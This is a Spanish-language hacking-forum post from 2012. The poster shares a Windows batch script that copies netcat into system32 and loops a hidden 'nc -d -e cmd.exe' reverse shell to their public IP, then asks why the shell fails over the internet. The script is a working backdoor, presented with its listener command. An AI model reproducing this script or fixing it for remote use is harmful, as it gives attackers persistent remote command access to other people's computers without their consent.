elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


  Mostrar Temas
Páginas: [1]
1  Seguridad Informática / Hacking / Netcat: ayuda .bat que funciona como Shell inversa... en: 12 Febrero 2012, 23:10 pm
Codigo:
Código
  1. @echo off
  2. copy nc\generic.h c:\WINDOWS\system32\
  3. copy nc\doexec.c c:\WINDOWS\system32\
  4. copy nc\getopt.c c:\WINDOWS\system32\
  5. copy nc\getopt.h c:\WINDOWS\system32\
  6. copy nc\hobbit.txt c:\WINDOWS\system32\
  7. copy nc\license.txt c:\WINDOWS\system32\
  8. copy nc\hobbit.txt c:\WINDOWS\system32\
  9. copy nc\makefile c:\WINDOWS\system32\
  10. copy nc\nc.exe c:\WINDOWS\system32\
  11. copy nc\netcat.c c:\WINDOWS\system32\
  12. copy nc\readme.txt c:\WINDOWS\system32\
  13. :svr
  14. nc -d -e cmd.exe MI IP PUBLICA PUERTO>nul
  15. ping -n  60 localhost>nul
  16. goto svr
  17.  

Que tal...

he creado este .bat que me funciona perfectamente a nivel de LAN usando la ip privada de red,  manipulando un puerto y accediendo con el netcat con

nc -vv -l -p 6000

cosa que ya deben de saber...

el .bat copia los archivos al system32 como verán y bueno todo bien hasta ahí, ahora el problema es que no esta funcionando la shell a nivel de internet, cambio la IP del .bat por mi ip publica pero aún así sigo sin conseguir respuesta de la shell...

podrían ayudarme a encontrar el problema?

gracias...
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines